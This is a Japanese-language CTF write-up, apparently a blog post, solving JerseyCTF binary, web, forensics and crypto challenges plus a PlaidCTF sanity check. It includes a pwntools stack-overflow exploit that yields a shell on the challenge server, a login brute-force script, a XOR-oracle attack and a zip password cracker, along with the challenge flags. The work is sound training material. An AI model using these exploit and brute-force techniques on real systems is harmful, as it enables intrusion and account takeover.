EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x55555555469b <main+81>:	mov    edx,0x25
   0x5555555546a0 <main+86>:	lea    rsi,[rip+0x200979]        # 0x555555755020 <buf1>
   0x5555555546a7 <main+93>:	mov    edi,0x5
=> 0x5555555546ac <main+98>:	call   0x555555554520 <write@plt>
   0x5555555546b1 <main+103>:	mov    eax,0x0
   0x5555555546b6 <main+108>:	leave  
   0x5555555546b7 <main+109>:	ret    
   0x5555555546b8:	nop    DWORD PTR [rax+rax*1+0x0]
Guessed arguments:
arg[0]: 0x5 
arg[1]: 0x555555755020 ("jctf{l00k5_1iK3_u_f0Und_m3_018a09d6}\n")
arg[2]: 0x25 ('%')
arg[3]: 0xa ('\n')
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdde0 --> 0x7fffffffded0 --> 0x1 
0008| 0x7fffffffdde8 --> 0x2500000000 ('')
0016| 0x7fffffffddf0 --> 0x5555555546c0 (<__libc_csu_init>:	push   r15)
0024| 0x7fffffffddf8 --> 0x7ffff7a03c87 (<__libc_start_main+231>:	mov    edi,eax)
0032| 0x7fffffffde00 --> 0x1 
0040| 0x7fffffffde08 --> 0x7fffffffded8 --> 0x7fffffffe224 ("/mnt/hgfs/Shared/misdirection")
0048| 0x7fffffffde10 --> 0x100008000 
0056| 0x7fffffffde18 --> 0x55555555464a (<main>:	push   rbp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x00005555555546ac in main ()
jctf{l00k5_1iK3_u_f0Und_m3_018a09d6}

going-over (bin 350)

$ file going-over 
going-over: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0a49d5cbc3620c138c8a8ba0be27e82145345ad3, for GNU/Linux 3.2.0, not stripped

$ gdb -q ./going-over
Reading symbols from ./going-over...(no debugging symbols found)...done.
gdb-peda$ pattc 32
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;A'
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/going-over 
We thought it was a good idea to go white-water rafting...
but now we're about to go over a waterfall!!
HELP!!!!!
The map said there was a ledge nearby that we could escape to but I can't find it!!!
AAA%AAsAABAA$AAnAACAA-AA(AADAA;A
Let's try this AAA%AAsAABAA$AAnAACAA-AA(AADAA;A and hope it works D:

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x0 
RDX: 0x7ffff7dcf8c0 --> 0x0 
RSI: 0x7fffffffb740 ("Let's try this AAA%AAsAABAA$AAnAACAA-AA(AADAA;A and hope it works D:\n")
RDI: 0x1 
RBP: 0x414341416e414124 ('$AAnAACA')
RSP: 0x7fffffffddf8 ("A-AA(AADAA;A")
RIP: 0x4012a8 (<main+197>:	ret)
R8 : 0x45 ('E')
R9 : 0x20 (' ')
R10: 0xffffffe0 
R11: 0x246 
R12: 0x4010d0 (<_start>:	endbr64)
R13: 0x7fffffffded0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40129d <main+186>:	call   0x401090 <printf@plt>
   0x4012a2 <main+191>:	mov    eax,0x0
   0x4012a7 <main+196>:	leave  
=> 0x4012a8 <main+197>:	ret    
   0x4012a9:	nop    DWORD PTR [rax+0x0]
   0x4012b0 <__libc_csu_init>:	endbr64 
   0x4012b4 <__libc_csu_init+4>:	push   r15
   0x4012b6 <__libc_csu_init+6>:	lea    r15,[rip+0x2b53]        # 0x403e10
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffddf8 ("A-AA(AADAA;A")
0008| 0x7fffffffde00 --> 0x413b4141 ('AA;A')
0016| 0x7fffffffde08 --> 0x7fffffffded8 --> 0x7fffffffe228 ("/mnt/hgfs/Shared/going-over")
0024| 0x7fffffffde10 --> 0x100008000 
0032| 0x7fffffffde18 --> 0x4011e3 (<main>:	endbr64)
0040| 0x7fffffffde20 --> 0x0 
0048| 0x7fffffffde28 --> 0x43c55b1963ef98ce 
0056| 0x7fffffffde30 --> 0x4010d0 (<_start>:	endbr64)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004012a8 in main ()
gdb-peda$ patto A-AA(AADAA;A
A-AA(AADAA;A found at offset: 20

BOFで任意の20バイトの後に、grab_ledge関数のアドレスを指定すれば、この関数をコールできる。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('0.cloud.chals.io', 10197)
else:
    p = process('./going-over')

elf = ELF('./going-over')

grab_ledge_addr = elf.symbols['grab_ledge']

payload = b'A' * 20
payload += p64(grab_ledge_addr)

data = p.recvuntil(b'it!!!\n').rstrip().decode()
print(data)
print(payload)
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to 0.cloud.chals.io on port 10197: Done
[*] '/mnt/hgfs/Shared/going-over'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
We thought it was a good idea to go white-water rafting...
but now we're about to go over a waterfall!!
HELP!!!!!
The map said there was a ledge nearby that we could escape to but I can't find it!!!
b'AAAAAAAAAAAAAAAAAAAA\xb6\x11@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
Let's try this AAAAAAAAAAAAAAAAAAAA\xb6\x11 and hope it works D:
ayy we made it
$ ls
bin
flag.txt
going-over
ynetd
$ cat flag.txt
jctf{ph3w_ju57_1n_71m3}
jctf{ph3w_ju57_1n_71m3}

apache-logs (web 100)

HTTPステータスコードが200になっているものから怪しいログを探す。

163.112.88.13 - - [28/Dec/2021:17:28:48 -0500] "GET /wp-content HTTP/1.0" 200 5011 "https://jerseyctf.com/robots.txt" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/536.2 (KHTML, like Gecko) Chrome/40.0.884.0 Safari/536.2"
25.175.40.142 - - [28/Dec/2021:17:37:42 -0500] "GET /search/tag/list HTTP/1.0" 200 4974 "http://www.lee-ferguson.biz/tmp/birthday.png" "Mozilla/5.0 (Macintosh; PPC Mac OS X 10_12_8; rv:1.9.2.20) Gecko/2015-09-29 10:23:08 Firefox/3.6.20"
76.190.52.148 - - [28/Dec/2021:21:02:26 -0500] "GET /posts/posts/explore HTTP/1.0" 200 4973 "https://www.davisbank.com/tmp/bankrecords.pdf" "Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/3.0)"

/posts/posts/exploreへのアクセスが怪しい。

jctf{76.190.52.148}

seigwards-secrets (web 100)

HTMLソースを見ると、login.jsへのリンクがある。login.jsには以下のように書いてある。

function checkCreds(usr, pass){

    if(usr.includes("admin")){
        if(btoa(pass) === "amN0ZnsxTV9zMF8xTV81b19EeW40TWl0M18wOTI0Nzh9"){
            alert("My Secrets: 1. I count in my sleep, 2. I hav")
        }
        else{
            alert("nice try Derrick")   
        }
    }
    else{
         alert("You fool!")   
    }

}

function login(){
    usr = document.getElementById('form3Example3').value
    pass = document.getElementById('form3Example4').value
    checkCreds(usr,pass)
}

base64エンコードした文字列と比較しているので、デコードする。

$ echo amN0ZnsxTV9zMF8xTV81b19EeW40TWl0M18wOTI0Nzh9 | base64 -d
jctf{1M_s0_1M_5o_Dyn4Mit3_092478}
jctf{1M_s0_1M_5o_Dyn4Mit3_092478}

heres-my-password (web 250)

passwordはわかっているので、usernameのブルートフォースでログインする。

#!/usr/bin/env python3
import requests

password = 'lightswitchon_and_offLOL26'
url = 'http://www.jerseyctf.online/'

with open('users.txt', 'r') as f:
    usernames = f.read().splitlines()

for username in usernames:
    payload = {"username": username, "password": password, "submit": "Login"}
    r = requests.post(url, data=payload)
    if 'Invalid login' not in r.text:
        print(r.text)
        break

実行結果は以下の通り。

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>Login</title>
</head>

<body>
    <h1>Login</h1>
    <form action="" method="post">
        <label>Username
            <input type="text" name="username">
        </label>
        <br>
        <label>Password
            <input type="password" name="password">
        </label>
        <br>
        <input type="submit" value="Login" name="submit">
    </form>
    <a href="forgot_password.php">Forgot Password?</a>
                <script>
                alert("jctf{c0NGR@T2_y0U_p@22wORd_SPR@y3D!}");
            </script>
        </body>

</html>
jctf{c0NGR@T2_y0U_p@22wORd_SPR@y3D!}

stolen-data (forensics 150)

$ binwalk stolen_data.pcap 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
491169        0x77EA1         HTML document header
491340        0x77F4C         HTML document footer
519415        0x7ECF7         HTML document header
520717        0x7F20D         HTML document footer
995630        0xF312E         PDF document, version: "1.3"
1111900       0x10F75C        HTML document header
1112046       0x10F7EE        HTML document footer
1591421       0x18487D        HTML document header
1591592       0x184928        HTML document footer
1611432       0x1896A8        HTML document header
1612734       0x189BBE        HTML document footer
1714951       0x1A2B07        HTML document header
1715122       0x1A2BB2        HTML document footer
2179382       0x214136        HTML document header
2180684       0x21464C        HTML document footer
2762317       0x2A264D        HTML document header
2763619       0x2A2B63        HTML document footer

PDFが含まれているらしい。パケットの検索で"PDF"を検索する。No.3032、3035のパケットでPDFが流れていることがわかるので、エクスポートし、結合する。

$ cat 3032.bin 3035.bin > flag.pdf

PDFを開くと、フラグが書かれていた。

jctf{0v3r_7h3_w1r3}

speedy-at-midi (forensics 150)

midをMusic Studio Producerで開き、「Hidden Message」のピアノロールを見ると、フラグが現れた。
f:id:satou-y:20220415074542p:plain

jctf{kicking_it_since_1983}

data-backup (forensics 250)

バイナリエディタで見ると、zipが壊れたようなファイルになっている。先頭4バイトを修正する。

4a 43 54 46 -> 50 4b 03 04

修正したzipファイルを解凍すると、展開されたflag.pdfにフラグが書いてあった。

jctf{fun_w17h_m461c_by735}

corrupted-file (forensics 400)

jpgのヘッダが欠けているので、ヘッダ FF D8 FF E0 を追加する。修正した画像にフラグが書いてあった。
f:id:satou-y:20220415074743j:plain

jctf{OaZdSdMo8F}

salad (crypto 50)

シーザー暗号。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

Rotation 17:
jctf{yummy_salad_dressing}
jctf{yummy_salad_dressing}

new-algorithm (crypto 75)

base64デコードする。

$ echo amN0Znt0UllfQUVTX0lOc1QzQGR9 | base64 -d
jctf{tRY_AES_INsT3@d}
jctf{tRY_AES_INsT3@d}

xoracle (crypto 150)

$ nc 0.cloud.chals.io 19305
Welcome to my SUPER secure encryption service!
To show you just how secure my service is, I'm gonna GIVE you the encrypted version of my flag.
Why? Because I'm CONFIDENT you can't decrypt it.
Here it is: b'09d3434f11392af6dd7457fadbdc36cab48cfe1b43aa58760a349eb771ad40e3ad4437153fb6'

Now that you've been ensured that my service is SECURE, you should give it a try!
Give me some data:
1234
Here it is: b'7184'
Give me some data:
7184
Here it is: b'1234'
Give me some data:

XORになっているようなので、提示された16進数文字列と同じ長さのデータで暗号化を試し、鍵を割り出し復号する。

#!/usr/bin/env python3
import socket
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('0.cloud.chals.io', 19305))

data = recvuntil(s, b'it.\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
enc_flag = bytes.fromhex(eval(data.split(' ')[-1]).decode())

pt = b'a' * len(enc_flag)
h_pt = pt.hex()
data = recvuntil(s, b':\n').rstrip()
print(data)
print(h_pt)
s.sendall(h_pt.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
h_ct = eval(data.split(' ')[-1]).decode()
ct = bytes.fromhex(h_ct)

key = strxor(pt, ct)
flag = strxor(key, enc_flag).decode()
print(flag)

実行結果は以下の通り。

Welcome to my SUPER secure encryption service!
To show you just how secure my service is, I'm gonna GIVE you the encrypted version of my flag.
Why? Because I'm CONFIDENT you can't decrypt it.
Here it is: b'260a5a612a59ae968a969bd7d72fdfadc88145b06c45869ff069180b5b76b8bb98e46a20b942'

Now that you've been ensured that my service is SECURE, you should give it a try!
Give me some data:
6161616161616161616161616161616161616161616161616161616161616161616161616161
Here it is: b'2d084f663009908383c7af8fde1ae1fdddbf53e5387bd2cdd27d0b0f6576e9ed9bbd6a71e95e'
jctf{1_th0U9hT_1t_w45_53Cure_a07b8a01}
jctf{1_th0U9hT_1t_w45_53Cure_a07b8a01}

secret-message (crypto 200)

secret_key.txtにはbase64文字列らしきものが書いてあるので、base64デコードする。

$ echo WWxoc3B6YXBqaHNzZiwgZnZiIGR2dSdhIHpsbCBhb3B6IHB1IHlsaHMtZHZ5c2sganlmd2F2bnlod29mLiBEbCd5bCBqdnNzbG5sIHphYmtsdWF6IG9oY3B1biBoIG52dmsgYXB0bCwgenYgcmxsdyBudnB1biBwbSBmdmIgZGh1YSBhb2wgbXNobiEgQW9sIHdoenp3b3loemwgcHogdGh1am9semFseV9idXBhbGtfMjAyMg== | base64 -d
Ylhspzapjhssf, fvb dvu'a zll aopz pu ylhs-dvysk jyfwavnyhwof. Dl'yl jvsslnl zabkluaz ohcpun h nvvk aptl, zv rllw nvpun pm fvb dhua aol mshn! Aol whzzwoyhzl pz thujolzaly_bupalk_2022

Vigere暗号。https://www.dcode.fr/vigenere-cipherで復号する。

Realistically, you won't see this in real-world cryptography. We're college students having a good time, so keep going if you want the flag! The passphrase is manchester_united_2022

パスフレーズを"manchester_united_2022"として、jpgファイルからsteghideで隠されたデータを抽出する。

$ steghide extract -sf Photo.jpg -p manchester_united_2022
wrote extracted data to "secret_message.txt".
$ cat secret_message.txt 
Amazing you were able to crack the code.  Flag: jctf{QbxVLJrIbP}
jctf{QbxVLJrIbP}

hidden-in-plain-sight (crypto 350)

コードの最下部のコメントを踏まえると、base64エンコード前の鍵の長さは32、ivは16。暗号化処理の概要は以下の通り。

・encrypted_data: malware_codeをパディングして、AES-CBC暗号化
・encrypted_data: encrypted_dataをbase64エンコード
・encrypted_data: ivをbase64エンコードしたIVを結合
・1000回以下の処理を実行(暗号処理と関係ない)
 ・RANDOMIZER_temp = RANDOMIZER_2 ^ RANDOMIZER_3
 ・RANDOMIZER = RANDOMIZER_temp & 1111
 ・RANDOMIZER = RANDOMIZER * 88
・encrypted_data: base64エンコードしたkeyを結合
・encrypted_dta: RANDOMIZERを文字列を設定(暗号処理と関係ない)
・encrypted_data出力

以上を元に復号する。

#!/usr/bin/env python3
from base64 import b64decode
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

with open('encrypted.pco', 'r') as f:
    encrypted_data = f.read()

KEY = encrypted_data[-44:]
IV = encrypted_data[-44-24:-44]
ENC = encrypted_data[:-44-24]

cipher = AES.new(b64decode(KEY), AES.MODE_CBC, b64decode(IV))
malware_code = unpad(cipher.decrypt(b64decode(ENC)), AES.block_size).decode()
print(malware_code)

復号結果は以下の通り。

jctf{k3ys_hId3_wh3r3_y0u_l3@sT_3xpeCT_Th3m}

This key goes to show you that sometimes keys are right in front
of you. Hiding in plain sight.
jctf{k3ys_hId3_wh3r3_y0u_l3@sT_3xpeCT_Th3m}

file-zip-cracker (crypto 450)

zipのパスワードがActor名と年の結合したパスワードになっているので、添付のテンプレートコードを参考にブルートフォースで解除する。

#!/usr/bin/env python3
import zipfile
import itertools
from itertools import permutations


# Function for extracting zip files to test if the password works!
def extractFile(zip_file, password):
    try:
        zip_file.extractall(pwd=password.encode())
        return True
    except KeyboardInterrupt:
        exit(0)
    except Exception as e:
        pass

# Main code starts here...
# The file name of the zip file.
zipfilename = 'secret_folder.zip'
numbers_set = '1920345678'

zip_file = zipfile.ZipFile(zipfilename)

with open('actorList.txt', 'r') as f:
    actors = f.read().splitlines()

for c in itertools.product(numbers_set, repeat=4):
    # Add the four numbers to the first half of the password.
    for actor in actors:
        password = actor + ''.join(c)
        # Try to extract the file.
        print("Trying: %s" % password)
        # If the file was extracted, you found the right password.
        if extractFile(zip_file, password):
            print('*' * 20)
            print('Password found: %s' % password)
            print('Files extracted...')
            exit(0)

# If no password was found by the end, let us know!
print('Password not found.')

実行結果は以下の通り。

     :
Trying: DeAndre_Way2016
Trying: Tom_Welling2016
Trying: Peter_Wentz2016
Trying: Dominic_West2016
Trying: Shane_West2016
Trying: Pharrell_Williams2016
Trying: Robbie_Williams2016
Trying: Bruce_Willis2016
Trying: Andreas_Wilson2016
Trying: Jamie_Wise2016
Trying: Ronnie_Woo2016
Trying: Elijah_Wood2016
Trying: Christian_Yanik2016
Trying: Will_Young2016
Trying: Nick_Youngquest2016
Trying: Billy_Zane2016
Trying: Kevin_Zegers2016
Trying: Rob_Zombie2016
Trying: Jensen_Ackles2017
Trying: Johnny_Depp2017
********************
Password found: Johnny_Depp2017
Files extracted...

パスワードがかかっているzipファイルと、txtが展開される。txtには以下のように書いてある。

Encoded Message:

Gur pbqr gb haybpx gur mvc svyr vf: v'ir_tbg_n_wne_bs_qveg_naq_thrff_jung'f_vafvqr_vg

quipqiupで復号する。

The code to unlock the zip file is: i've_got_a_jar_of_dirt_and_guess_what's_inside_it

パスワード"i've_got_a_jar_of_dirt_and_guess_what's_inside_it"でzipファイルを解凍すると、Flag.mp3が展開される。

$ file Flag.mp3 
Flag.mp3: GIF image data, version 89a, 498 x 249

実体はgifで、画像にフラグが書いてあった。
f:id:satou-y:20220415075539g:plain

jctf{ew8WhHuhmv}

PlaidCTF 2022 Writeup

この大会は2022/4/9 6:00(JST)~2022/4/10 6:00(JST)に開催されました。
今回もチームで参戦。結果は1点で431チーム中273位でした。
参加賞の問題しか解けませんでしたが、
自分で解けた問題をWriteupとして書いておきます。

sanity-check (REV)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグを逆順にしたものが書いてあった。

}!esrevidialP_oT_emocleW_erutuF_ehT_0T_emocleW{FTCP

逆順にして元に戻す。

>>> '}!esrevidialP_oT_emocleW_erutuF_ehT_0T_emocleW{FTCP'[::-1]
'PCTF{Welcome_T0_The_Future_Welcome_To_Plaidiverse!}'
PCTF{Welcome_T0_The_Future_Welcome_To_Plaidiverse!}